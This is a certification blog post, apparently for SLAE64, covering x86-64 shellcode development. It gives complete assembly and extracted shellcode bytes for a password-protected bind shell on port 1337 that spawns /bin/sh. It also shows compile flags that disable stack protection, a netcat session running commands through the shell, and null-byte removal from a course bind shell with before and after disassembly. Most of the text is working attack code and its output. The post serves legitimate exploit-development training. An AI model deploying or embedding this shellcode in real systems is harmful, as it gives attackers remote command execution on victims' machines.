SLAE64 Assignment 1 - Shell Bind Tcp with Password
Introduction
For this first post of the SLAE64 exam assignments serie, I want to inform you that the tasks being essentially the same as for the 32bits version, I will go less into details unless I approach new concepts or techniques not seen in the previous serie.
The tasks for this first assignment are in a first time to create a shell bind tcp shellcode, that will need a password before executing the shell, and in a second time to remove all null bytes from the bind tcp shellcode discussed during the course.
All the source code for this assignment can be find on my github repository
Shell bind tcp with password
The socketcall system call is not available on x64 architecture, so we will use the socket, bind, listen and accept syscalls.
Then we will use the read syscall to read the password, read is equivalent to the recv syscall without the flag argument, that we don’t need here.
skrox@kali:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h |grep -E 'socket |bind|listen|accept |dup2|read |execve ' |grep -v "mbind"
#define __NR_read 0
#define __NR_dup2 33
#define __NR_socket 41
#define __NR_accept 43
#define __NR_bind 49
#define __NR_listen 50
#define __NR_execve 59
_start:
; socket(AF_INET, SOCK_STREAM, 0)
xor edi, edi ; Like we have seen in the course and from
; Intel® 64 and IA-32 Architectures Developer's Manual: Vol. 1 :
; "32-bit operands generate a 32-bit result, zero-extended to a 64-bit result"
; so xor edi, edi is the same as xor rdi,rdi but shorter, and that's good for us
mul edi ; RAX, RDX, RDI set to 0
inc edi
mov esi, edi ; SOCK_STREAM
inc edi ; AF_INET
mov al, 41 ; socket syscall value
syscall ; exec syscall
; bind(sockfd, {INADDR_ANY, 1337, AF_INET}, 16)
mov ebx, edx ; we save a 0
push rdx ; INADDR_ANY (0.0.0.0)
push word 0x3905 ; port 1337
push di ; AF_INET
mov edi, eax ; sockfd
mov rsi, rsp ; RSI point to the sockaddr struct
mov dl, 0x10 ; addrlen
mov al, 49 ; bind syscall value
syscall ; exec syscall
; listen(sockfd, 0)
mov esi, ebx ; 0 for no queue
; RDI already set to sockfd
mov al, 50 ; listen syscall value
syscall ; exec syscall
; accept(sockfd, null, null)
cdq ; RDX set to null pointer
; RSI already set to null pointer
; RDI already set to sockfd
mov al, 43 ; accept syscall value
syscall ; exec syscall
xchg eax, edi ; copy the new sockfd into RDI
try_pass:
;read(int fd, void *buf, size_t count);
mov rsi, rsp ; RSI point to the stack, to write the password
mov dl, 8 ; number of bytes to read from sockfd and write to RSI address
mov eax, ebx ; read syscall value
syscall ; exec syscall
xchg rdi, rsi ; copy user password address to RDI and keep sockfd in RSI
mov rax, 0x737334507433334c ; L33tP4ss
scasq ; compare 8 bytes from RAX with 8 bytes from RDI
xchg rdi, rsi ; reset RDI to sockfd value
jnz try_pass ; if ZF not set RAX/RDI were different (Bad password, so retry)
mov esi, ebx ; RSI set to 0
xchg eax, ebx ; RAX set to 0
add esi, 3 ; dup2 counter initialized
dup:
; dup2(sockfd, stdio)
dec esi ; starting with stderr(2) to stdin(0)
; RDI already set to sockfd
mov al, 33 ; dup2 syscall value
syscall ; exec syscall
jnz dup ; if RCX != 0 we need to confinue
; execve("/bin/sh", null, null)
push rax ; string terminator
mov al, 59 ; execve syscall value
mov rdi, 0x68732f2f6e69622f ; "/bin//sh"
push rdi
mov rdi, rsp ; RDI point to "/bin//sh"
; RSI already set to null pointer
cdq ; RDX set to null pointer
syscall ; exec syscall
Then we extract the shellcode :
skrox@kali:~$ ./compile.sh bind-pass
[x] Assembling...
[x] Linking...
[x] Dumped shellcode :
\x31\xff\xf7\xe7\xff\xc7\x89\xfe\xff\xc7\xb0\x29\x0f\x05\x89\xd3\x52\x66\x68\x05\x39\x66\x57\x89\xc7
\x48\x89\xe6\xb2\x10\xb0\x31\x0f\x05\x89\xde\xb0\x32\x0f\x05\x99\xb0\x2b\x0f\x05\x97\x48\x89\xe6\xb2
\x08\x89\xd8\x0f\x05\x48\x87\xfe\x48\xb8\x4c\x33\x33\x74\x50\x34\x73\x73\x48\xaf\x48\x87\xfe\x75\xe3
\x89\xde\x31\xc0\x83\xc6\x03\xff\xce\xb0\x21\x0f\x05\x75\xf8\xb0\x3b\x53\x48\xbf\x2f\x62\x69\x6e\x2f
\x2f\x73\x68\x57\x48\x89\xe7\x89\xde\x99\x0f\x05
We copy paste it into a C++ file (why not ?), compile it and execute it :
skrox@kali:~$ g++ -fno-stack-protector -z execstack -o shellcode shellcode.cpp
skrox@kali:~$ ./shellcode
Shellcode size : 110
And in another terminal :
skrox@kali:~$ nc -nv 127.0.0.1 1337
(UNKNOWN) [127.0.0.1] 1337 (?) open
test
ls
L33tP4ss
id
uid=1000(skrox) gid=1000(skrox) groups=1000(skrox)
We are done with the first part.
Removing Null bytes from the bind shellcode from the course
Dump of the original shellcode
skrox@kali:~$ objdump -M intel -d BindShell-original
BindShell-original: format de fichier elf64-x86-64
Déassemblage de la section .text :
0000000000401000 <_start>:
401000: b8 29 00 00 00 mov eax,0x29
401005: bf 02 00 00 00 mov edi,0x2
40100a: be 01 00 00 00 mov esi,0x1
40100f: ba 00 00 00 00 mov edx,0x0
401014: 0f 05 syscall
401016: 48 89 c7 mov rdi,rax
401019: 48 31 c0 xor rax,rax
40101c: 50 push rax
40101d: 89 44 24 fc mov DWORD PTR [rsp-0x4],eax
401021: 66 c7 44 24 fa 11 5c mov WORD PTR [rsp-0x6],0x5c11
401028: 66 c7 44 24 f8 02 00 mov WORD PTR [rsp-0x8],0x2
40102f: 48 83 ec 08 sub rsp,0x8
401033: b8 31 00 00 00 mov eax,0x31
401038: 48 89 e6 mov rsi,rsp
40103b: ba 10 00 00 00 mov edx,0x10
401040: 0f 05 syscall
401042: b8 32 00 00 00 mov eax,0x32
401047: be 02 00 00 00 mov esi,0x2
40104c: 0f 05 syscall
40104e: b8 2b 00 00 00 mov eax,0x2b
401053: 48 83 ec 10 sub rsp,0x10
401057: 48 89 e6 mov rsi,rsp
40105a: c6 44 24 ff 10 mov BYTE PTR [rsp-0x1],0x10
40105f: 48 83 ec 01 sub rsp,0x1
401063: 48 89 e2 mov rdx,rsp
401066: 0f 05 syscall
401068: 49 89 c1 mov r9,rax
40106b: b8 03 00 00 00 mov eax,0x3
401070: 0f 05 syscall
401072: 4c 89 cf mov rdi,r9
401075: b8 21 00 00 00 mov eax,0x21
40107a: be 00 00 00 00 mov esi,0x0
40107f: 0f 05 syscall
401081: b8 21 00 00 00 mov eax,0x21
401086: be 01 00 00 00 mov esi,0x1
40108b: 0f 05 syscall
40108d: b8 21 00 00 00 mov eax,0x21
401092: be 02 00 00 00 mov esi,0x2
401097: 0f 05 syscall
401099: 48 31 c0 xor rax,rax
40109c: 50 push rax
40109d: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
4010a4: 2f 73 68
4010a7: 53 push rbx
4010a8: 48 89 e7 mov rdi,rsp
4010ab: 50 push rax
4010ac: 48 89 e2 mov rdx,rsp
4010af: 57 push rdi
4010b0: 48 89 e6 mov rsi,rsp
4010b3: 48 83 c0 3b add rax,0x3b
4010b7: 0f 05 syscall
We can see that almost all null bytes are with “mov r32,imm8” instructions except one “mov m16, imm8”
401028: 66 c7 44 24 f8 02 00 mov WORD PTR [rsp-0x8],0x2
and two “mov r, 0x00”
40100f: ba 00 00 00 00 mov edx,0x0
...
40107a: be 00 00 00 00 mov esi,0x0
The simpliest way to remove null bytes is to clear registers then to use register of the same size as the value we want to copy into it.
For the “mov m16, imm8” to copy the immediate value into a register then mov the corresponding word register to memory.
And to xor the registers that are cleared with “mov r, 0x00” instructions.
Dump after null bytes removing
skrox@kali:~$ objdump -M intel -d BindShell-null-removed
BindShell: format de fichier elf64-x86-64
Déassemblage de la section .text :
0000000000401000 <_start>:
401000: 31 ff xor edi,edi
401002: f7 e7 mul edi
401004: 89 fe mov esi,edi
401006: b0 29 mov al,0x29
401008: 40 b7 02 mov dil,0x2
40100b: 40 b6 01 mov sil,0x1
40100e: 0f 05 syscall
401010: 48 89 c7 mov rdi,rax
401013: 48 31 c0 xor rax,rax
401016: 50 push rax
401017: 89 44 24 fc mov DWORD PTR [rsp-0x4],eax
40101b: 66 c7 44 24 fa 11 5c mov WORD PTR [rsp-0x6],0x5c11
401022: b0 02 mov al,0x2
401024: 66 89 44 24 f8 mov WORD PTR [rsp-0x8],ax
401029: 48 83 ec 08 sub rsp,0x8
40102d: b0 31 mov al,0x31
40102f: 48 89 e6 mov rsi,rsp
401032: b2 10 mov dl,0x10
401034: 0f 05 syscall
401036: b0 32 mov al,0x32
401038: 40 b6 02 mov sil,0x2
40103b: 0f 05 syscall
40103d: b0 2b mov al,0x2b
40103f: 48 83 ec 10 sub rsp,0x10
401043: 48 89 e6 mov rsi,rsp
401046: c6 44 24 ff 10 mov BYTE PTR [rsp-0x1],0x10
40104b: 48 83 ec 01 sub rsp,0x1
40104f: 48 89 e2 mov rdx,rsp
401052: 0f 05 syscall
401054: 49 89 c1 mov r9,rax
401057: b0 03 mov al,0x3
401059: 0f 05 syscall
40105b: 4c 89 cf mov rdi,r9
40105e: b0 21 mov al,0x21
401060: 31 f6 xor esi,esi
401062: 0f 05 syscall
401064: b0 21 mov al,0x21
401066: 40 b6 01 mov sil,0x1
401069: 0f 05 syscall
40106b: b0 21 mov al,0x21
40106d: 40 b6 02 mov sil,0x2
401070: 0f 05 syscall
401072: 48 31 c0 xor rax,rax
401075: 50 push rax
401076: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
40107d: 2f 73 68
401080: 53 push rbx
401081: 48 89 e7 mov rdi,rsp
401084: 50 push rax
401085: 48 89 e2 mov rdx,rsp
401088: 57 push rdi
401089: 48 89 e6 mov rsi,rsp
40108c: 48 83 c0 3b add rax,0x3b
401090: 0f 05 syscall
And it’s all for this first assignment :)
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification
Student ID: PA-14186